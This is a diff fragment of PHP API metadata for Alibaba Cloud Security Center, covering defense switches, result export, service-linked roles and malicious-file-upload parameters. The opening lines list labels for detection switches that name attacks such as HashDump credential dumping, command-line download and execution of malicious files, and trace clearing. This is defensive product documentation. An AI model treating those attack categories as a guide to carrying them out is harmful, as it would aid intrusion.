**USER-ENABLE-SWITCH-TYPE_52829**：删除系统备份行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54168**：LSA安全权限服务防护'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54365**：创建服务自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54366**：创建高危自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54367**：创建计划任务自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54368**：创建注册表自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54369**：创建WMI自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54373**：对抗安全软件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54374**：入侵痕迹清理'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54384**：HashDump攻击'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_55251**：数据库服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_57242**：恶意命令执行'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_57340**：命令行下载运行恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_62357**：云助手服务信息探测'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_63725**：入口服务植入可疑脚本/二进制文件', + 'type' => 'string', + 'example' => 'kdump_switch', + ], + 'Config' => [ + 'description' => '开关。取值：'."\n" + ."\n" + .'- **on**：开启'."\n" + .'- **off**：关闭', + 'type' => 'string', + 'example' => 'on', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"6D9CDB47-6191-4415-BE63-7E8B12CD4FBE\\",\\n \\"OverallConfig\\": {\\n \\"Type\\": \\"kdump_switch\\",\\n \\"Config\\": \\"on\\"\\n }\\n}","type":"json"}]', + 'title' => '主开关全局配置', + ], + 'OperateCommonTargetConfig' => [ + 'summary' => '根据类型设置功能模块通用开关，包括镜像扫描、端引擎检测、容器网络可视化、容器防逃逸等。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92413', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '182.92.XXX.XXX', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '开关类型。取值：'."\n" + .'- **alidetect-scan-enable**：本地文件检测仅在本地检测。'."\n" + .'- **ACTION-TRIAL-PERMISSION**：操作审计数据投递。'."\n" + .'- **alidetect**：本地文件检测引擎。'."\n" + .'- **container\\_prevent\\_escape**：容器防逃逸。'."\n" + .'- **image_repo**：仓库镜像扫描'."\n" + .'- **proc\\_filter\\_switch**：日志过滤。'."\n" + .'- **agentless**：无代理检测。'."\n" + .'- **rasp**：应用防御。'."\n" + .'- **sensitiveFile**：敏感信息扫描。'."\n" + .'- **aliscriptengine**：深度检测引擎。'."\n" + .'- **containerNetwork**：容器可视化。', + 'type' => 'string', + 'required' => true, + 'enumValueTitles' => [], + 'example' => 'alidetect', + ], + ], + [ + 'name' => 'TargetType', + 'in' => 'query', + 'schema' => [ + 'description' => '目标资产类型。取值：'."\n" + .'- **uuid**：服务器UUID。'."\n" + .'- **Cluster**：集群ID。'."\n" + .'- **image_repo**：镜像仓库名称。', + 'type' => 'string', + 'required' => false, + 'enumValueTitles' => [], + 'example' => 'uuid', + ], + ], + [ + 'name' => 'TargetOperations', + 'in' => 'query', + 'schema' => [ + 'description' => '为服务器设置主动防御的参数。包括以下参数：'."\n" + ."\n" + .'- **targetType**：防御配置的维度，目前支持UUID维度，固定值：**uuid**。'."\n" + .'- **target**：需要设置防御配置的服务器的UUID。'."\n" + .'- **flag**：为服务器开启或关闭主动防御，可选择**add**（开启）或**del**（关闭）。'."\n", + 'type' => 'string', + 'required' => true, + 'example' => '['."\n" + .' {'."\n" + .' "targetType": "uuid",'."\n" + .' "target": "f329a044-6a2f-49a0-9d33-352f6c1d****",'."\n" + .' "flag": "del"'."\n" + .' }'."\n" + .']', + ], + ], + [ + 'name' => 'FieldName', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像开关目标类型。取值：'."\n" + .'- **repoName**： 仓库名称。'."\n" + .'- **repoNamespace**： 仓库命名空间名称。', + 'type' => 'string', + 'required' => false, + 'enumValueTitles' => [], + 'example' => 'repoName', + ], + ], + [ + 'name' => 'FieldValue', + 'in' => 'query', + 'schema' => [ + 'description' => '仓库名称或者仓库命名空间名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'cafcmc-dev', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回值。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '95D45C44-4F53-5ED2-8E12-7D134564B****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"95D45C44-4F53-5ED2-8E12-7D134564B****\\"\\n}","type":"json"}]', + 'title' => '功能模块通用开关设置', + ], + 'DescribeSuspiciousOverallConfig' => [ + 'summary' => '查询主动防御开关配置信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92217', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '39.161.XX.XX', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '开关类型。取值：'."\n" + ."\n" + .'- **auto_breaking**：防病毒'."\n" + .'- **ransomware_breaking**：防勒索（诱饵捕获）'."\n" + .'- **webshell\\_cloud_breaking**：网站后门连接防御'."\n" + .'- **alinet**：恶意网络行为防御'."\n" + .'- **k8s\\_log_analysis**：容器K8s威胁检测'."\n" + .'- **alisecguard**：客户端自保护防御模式', + 'type' => 'string', + 'required' => true, + 'example' => 'auto_breaking', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '6673D49C-A9AB-40DD-B4A2-B92306701AE7', + ], + 'OverallConfig' => [ + 'description' => '配置信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '开关类型。取值：'."\n" + ."\n" + .'- **auto_breaking**：防病毒'."\n" + .'- **ransomware_breaking**：防勒索（诱饵捕获）'."\n" + .'- **webshell\\_cloud_breaking**：网站后门连接防御'."\n" + .'- **alinet**：恶意网络行为防御'."\n" + .'- **k8s\\_log_analysis**：容器K8s威胁检测'."\n" + .'- **alisecguard**：客户端自保护防御模式', + 'type' => 'string', + 'example' => 'auto_breaking', + ], + 'Config' => [ + 'description' => '开关状态。取值：'."\n" + .'- **off**：关闭'."\n" + .'- **on**：开启', + 'type' => 'string', + 'example' => 'on', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'AccountIdNotExist', + 'errorMessage' => 'AccountId not exist', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"6673D49C-A9AB-40DD-B4A2-B92306701AE7\\",\\n \\"OverallConfig\\": {\\n \\"Type\\": \\"auto_breaking\\",\\n \\"Config\\": \\"on\\"\\n }\\n}","type":"json"}]', + 'title' => '查询主动防御开关配置', + ], + 'DescribeExportInfo' => [ + 'summary' => '查看导出任务的进度。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'ExportId', + 'in' => 'query', + 'schema' => [ + 'description' => '导出任务的ID。'."\n" + .'> 您可以调用[ExportRecord](~~ExportRecord~~)接口发起导出后获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '111', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号ID。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '16670360956*****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Link' => [ + 'description' => '导出后Excel的下载链接。', + 'type' => 'string', + 'example' => 'http://www.aliyun.com', + ], + 'Progress' => [ + 'description' => '导出进度百分比（%）。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '16', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F3B45', + ], + 'CurrentCount' => [ + 'description' => '当前已导出数据的条数。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'Message' => [ + 'description' => '导出结果提示信息。固定值：**success**。表示导出成功。', + 'type' => 'string', + 'example' => 'success', + ], + 'FileName' => [ + 'description' => '导出的Excel文件名称。', + 'type' => 'string', + 'example' => 'health_check_export_20171123', + ], + 'TotalCount' => [ + 'description' => '导出的Excel表格中数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'ExportStatus' => [ + 'description' => '导出任务的状态。'."\n" + ."\n" + .'取值：'."\n" + ."\n" + .'- **init**：导出初始化'."\n" + .'- **exporting**：导出进行中'."\n" + .'- **success**：导出成功', + 'type' => 'string', + 'example' => 'success', + ], + 'Id' => [ + 'description' => '导出任务的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '131231', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Link\\": \\"http://www.aliyun.com\\",\\n \\"Progress\\": 16,\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F3B45\\",\\n \\"CurrentCount\\": 20,\\n \\"Message\\": \\"success\\",\\n \\"FileName\\": \\"health_check_export_20171123\\",\\n \\"TotalCount\\": 100,\\n \\"ExportStatus\\": \\"success\\",\\n \\"Id\\": 131231\\n}","type":"json"}]', + 'title' => '查看导出进度', + ], + 'ExportRecord' => [ + 'summary' => '导出资产中心、云平台配置检查、镜像安全扫描、攻击分析、AK泄露检测等页面的检测结果的Excel文件。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92283', + 'abilityTreeNodes' => [ + 'FEATUREsasAIJXMJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型。默认值**zh**。取值：'."\n" + ."\n\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Params', + 'in' => 'query', + 'schema' => [ + 'description' => '设置导出内容的筛选条件。'."\n" + ."\n" + .'> 本接口为云安全中心多个功能导出检测列表的通用导出接口，此参数因功能不同，配置字段也不同。不推荐您在调用接口时设置此参数。您可以不设置此参数导出信息列表，然后在导出的Excel中筛选目标数据。', + 'type' => 'string', + 'required' => false, + 'example' => '{"extend":"1","currentPage":1,"pageSize":10}', + ], + ], + [ + 'name' => 'ExportType', + 'in' => 'query', + 'schema' => [ + 'description' => '要导出检测结果列表的类型。取值：'."\n" + ."\n" + .'- **assetInstance**：资产中心的服务器列表'."\n" + .'- **user**：账户的资产指纹列表'."\n" + .'- **port**：端口的资产指纹列表'."\n" + .'- **process**：进程的资产指纹列表'."\n" + .'- **sca**：中间件的资产指纹列表'."\n" + .'- **database**：数据库的资产指纹列表'."\n" + .'- **web**：Web服务的资产指纹列表'."\n" + .'- **software**：软件的资产指纹列表'."\n" + .'- **cron**：计划任务的资产指纹列表'."\n" + .'- **autorun**：启动项的资产指纹列表'."\n" + .'- **lkm**：内核模块的资产指纹列表'."\n" + .'- **webserver**：Web站点的资产指纹列表'."\n" + .'- **virusScanExport**：病毒查杀扫描任务详情列表'."\n" + .'- **imageVulExport**：镜像系统漏洞列表'."\n" + .'- **imageBaseLineExport**：镜像基线检查结果列表'."\n" + .'- **imageAffectedMaliciousExport**：镜像恶意样本检查结果列表'."\n" + .'- **baselineCspm**：云平台配置检查的检测结果列表'."\n" + .'- **attack**：攻击分析告警事件的列表'."\n" + .'- **accessKey**：AK泄露检测的告警事件列表'."\n" + .'- **exportObjectScanEvents**：恶意文件检测的告警事件列表'."\n" + .'- **domainDetail**：网站资产'."\n" + .'- **assetsPropertyScaProcessDetail**：应用防护RASP防护进程'."\n" + .'- **exportHcWarning**：系统基线风险列表'."\n" + .'- **raspAttackAlert**：应用防护攻击告警列表'."\n" + .'- **raspApplicationConfiguration**：应用防护应用配置列表'."\n" + .'- **raspWeaknessDetection**：应用防护弱点检测列表'."\n" + .'- **raspInMemoryWebshellDetection**：应用防护内存马检测告警列表'."\n" + .'- **raspInMemoryWebshellInsertion**：应用防护内存马注入告警列表', + 'type' => 'string', + 'required' => true, + 'example' => 'database', + ], + ], + [ + 'name' => 'ExportFileType', + 'in' => 'query', + 'schema' => [ + 'description' => '要导出文件的类型。取值：'."\n" + ."\n" + .'- **virusScanExport**：病毒查杀扫描任务详情导出；当ExportType为virusScanExport时使用且必填', + 'type' => 'string', + 'required' => false, + 'example' => 'virusScanExport', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号主账号ID。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1232428423234****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '6673D49C-A9AB-40DD-B4A2-B92306701AE7', + ], + 'FileName' => [ + 'description' => '导出文件的名称。', + 'type' => 'string', + 'example' => 'cms_20171101.xlsx', + ], + 'Id' => [ + 'description' => '导出文件的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '131231', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + [ + 'errorCode' => 'FreeVersionNotPermit', + 'errorMessage' => 'Free version is not permitted.', + ], + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"6673D49C-A9AB-40DD-B4A2-B92306701AE7\\",\\n \\"FileName\\": \\"cms_20171101.xlsx\\",\\n \\"Id\\": 131231\\n}","type":"json"}]', + 'title' => '导出结果列表', + 'description' => '该接口调用完成后，您可以调用[DescribeExportInfo](~~DescribeExportInfo~~)接口查询文件导出进度以及获取导出后 Excel 的下载链接。', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'CreateServiceLinkedRole' => [ + 'summary' => '创建服务关联角色并授权云安全中心访问云资源。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '91938', + 'abilityTreeNodes' => [ + 'FEATUREsasAFG0OH', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'ServiceLinkedRole', + 'in' => 'query', + 'schema' => [ + 'description' => '关联角色。默认**AliyunServiceRoleForSas**。取值：'."\n" + ."\n" + .'- **AliyunServiceRoleForSas**：用于云安全中心(sas)的服务关联角色，云安全中心(sas)使用此角色来访问您在其他云产品中的资源。'."\n" + .'- **AliyunServiceRoleForSasCspm**：用于云安全中心-CSPM(sas-cspm)的服务关联角色，sas-cspm使用此角色来访问您在其他云产品中的资源。', + 'type' => 'string', + 'required' => false, + 'example' => 'AliyunServiceRoleForSas', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '创建服务关联角色并授权云安全中心访问云资源返回结果。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'B94243D2-9342-4D82-87B9-DF9A038A87E1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'NoPermission.RAM.SlrCreate', + 'errorMessage' => 'You are not authorized to do ram:CreateServiceLinkedRole action.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"B94243D2-9342-4D82-87B9-DF9A038A87E1\\"\\n}","errorExample":""},{"type":"xml","example":"\\n B94243D2-9342-4D82-87B9-DF9A038A87E1\\n","errorExample":""}]', + 'title' => '创建服务关联角色并授权云安全中心访问云资源', + 'description' => '关于服务关联角色的更多信息，请参见[服务关联角色](~~160674~~)。', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeServiceLinkedRoleStatus' => [ + 'summary' => '查询您是否已创建云安全中心服务关联角色。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'ServiceLinkedRole', + 'in' => 'query', + 'schema' => [ + 'description' => '关联角色。默认**AliyunServiceRoleForSas**。取值：'."\n" + ."\n" + .'- **AliyunServiceRoleForSas**：用于云安全中心(sas)的服务关联角色，云安全中心(sas)使用此角色来访问您在其他云产品中的资源。'."\n" + .'- **AliyunServiceRoleForSasCspm**：用于云安全中心-CSPM(sas-cspm)的服务关联角色，sas-cspm使用此角色来访问您在其他云产品中的资源。', + 'type' => 'string', + 'required' => false, + 'example' => 'AliyunServiceRoleForSas', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '39CE98F4-88C0-4539-B906-6B542E5C07B9', + ], + 'RoleStatus' => [ + 'description' => '服务关联角色的状态信息。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '服务关联角色的状态。取值：'."\n" + .'- **true**：已创建'."\n" + .'- **false**：未创建', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"39CE98F4-88C0-4539-B906-6B542E5C07B9\\",\\n \\"RoleStatus\\": {\\n \\"Status\\": true\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n 39CE98F4-88C0-4539-B906-6B542E5C07B9\\n \\n true\\n \\n","errorExample":""}]', + 'title' => '查询您是否已创建云安全中心服务关联角色', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'GetFileDetectApiInvokeInfo' => [ + 'summary' => '获取恶意文件检测SDK使用信息。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasNPORLE', + ], + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '返回响应体。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '9f368b6e-d60a-43c5-bd6f-c7087f2d****', + ], + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'AuthCount' => [ + 'description' => '授权总次数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '10000', + ], + 'RemainAuthCount' => [ + 'description' => '剩余授权次数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '900', + ], + 'FlowRate' => [ + 'description' => '调用频率限制。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TimeUnit' => [ + 'description' => '频率限制的时间单位。取值：'."\n" + ."\n" + .'- **SECONDS**：秒'."\n" + .'- **MINUTES**：分钟', + 'type' => 'string', + 'example' => 'SECONDS', + ], + 'Expire' => [ + 'description' => '授权数的失效日期时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1815753600000', + ], + 'SaleVersion' => [ + 'description' => '授权版本。取值包括：'."\n" + ."\n" + .'- **1**：试用版'."\n" + .'- **2**：企业版', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'InvokeCount' => [ + 'description' => '已使用授权数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '10', + ], + 'InvokeCountInSaleVersion' => [ + 'description' => '已使用授权数（不包含试用）。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '20', + ], + 'AuthCountInSaleVersion' => [ + 'description' => '授权总次数（不包含试用）。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '20', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9f368b6e-d60a-43c5-bd6f-c7087f2d****\\",\\n \\"Data\\": {\\n \\"AuthCount\\": 10000,\\n \\"RemainAuthCount\\": 900,\\n \\"FlowRate\\": 20,\\n \\"TimeUnit\\": \\"SECONDS\\",\\n \\"Expire\\": 1815753600000,\\n \\"SaleVersion\\": 2,\\n \\"InvokeCount\\": 10,\\n \\"InvokeCountInSaleVersion\\": 20,\\n \\"AuthCountInSaleVersion\\": 20\\n }\\n}","type":"json"}]', + 'title' => '获取恶意文件检测SDK使用信息', + ], + 'CreateFileDetectUploadUrl' => [ + 'summary' => '获取文件上传参数。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '140698', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'HashKeyList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '文件唯一标识。列表最多传入100个元素。'."\n" + .'> **HashKeyList** 和 **HashKeyContextList**不能同时为空。', + 'type' => 'array', + 'items' => [ + 'description' => '文件唯一标识。', + 'type' => 'string', + 'required' => false, + 'example' => '0a212417e65c26ff133cfff28f6c****', + ], + 'required' => false, + 'example' => 'CreateFileDetectUploadUrl', + 'maxItems' => 200, + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '文件类型。取值：'."\n" + .'- **0**：不确定的文件类型', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '0', + ], + ], + [ + 'name' => 'HashKeyContextList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '文件标识。目前仅支持MD5。列表最多传入100个元素。'."\n" + .'> **HashKeyList** 和 **HashKeyContextList**不能同时为空。', + 'type' => 'array', + 'items' => [ + 'description' => '文件HASH。', + 'type' => 'object', + 'properties' => [ + 'HashKey' => [ + 'description' => '文件HASH。', + 'type' => 'string', + 'required' => false, + 'example' => '30319dd5cee8f894766e479cac170da0', + ], + 'FileSize' => [ + 'description' => '文件大小。如果文件大小超过限制，将不会返回上传参数。单位：字节。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '2698557', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 200, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => ' ', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8BF6F', + ], + 'UploadUrlList' => [ + 'description' => '文件上传需要的参数集合。', + 'type' => 'array', + 'items' => [ + 'description' => '文件上传需要的参数。', + 'type' => 'object', + 'properties' => [ + 'PublicUrl' => [ + 'description' => '文件上传地址的公网EndPoint。', + 'type' => 'string', + 'example' => 'http://example.com', + ], + 'InternalUrl' => [ + 'description' => '文件上传地址的内网EndPoint。', + 'type' => 'string', + 'example' => 'http://example.com', + ], + 'Expire' => [ + 'description' => '上传参数过期的时间戳，单位为毫秒。', + 'type' => 'string', + 'example' => '1658562101370', + ], + 'Context' => [ + 'description' => '上传签名信息。', + 'type' => 'object', + 'properties' => [ + 'AccessId' => [ + 'description' => '文件存储位置的AccessKey。', + 'type' => 'string', + 'example' => 'yourAccessKeyID', + ], + 'Policy' => [ + 'description' => '文件上传的限制Policy，如文件大小。', + 'type' => 'string', + 'example' => 'eyJleHBpcmF0aW9uIjoiMjAyMi0wNy0yM1QxMDo1ODoxMC****', + ], + 'Signature' => [ + 'description' => '文件上传的签名。', + 'type' => 'string', + 'example' => 'wDhPgVdnY/bkKFYcYFl+4crl****', + ], + 'OssKey' => [ + 'description' => '文件在OSS Bucket中的存储key。', + 'type' => 'string', + 'example' => '1/2022/06/23/15/41/16559701077444693a0c6-33b2-4cc2-a99f-9f38b8b8****', + ], + ], + ], + 'FileExist' => [ + 'description' => '文件是否存在。取值：'."\n" + ."\n" + .'- **true**：文件已存在，不需要上传。'."\n" + .'- **false**：文件不存在，需要上传。', + 'type' => 'boolean', + 'example' => 'false', + ], + 'HashKey' => [ + 'description' => '文件标识。', + 'type' => 'string', + 'example' => 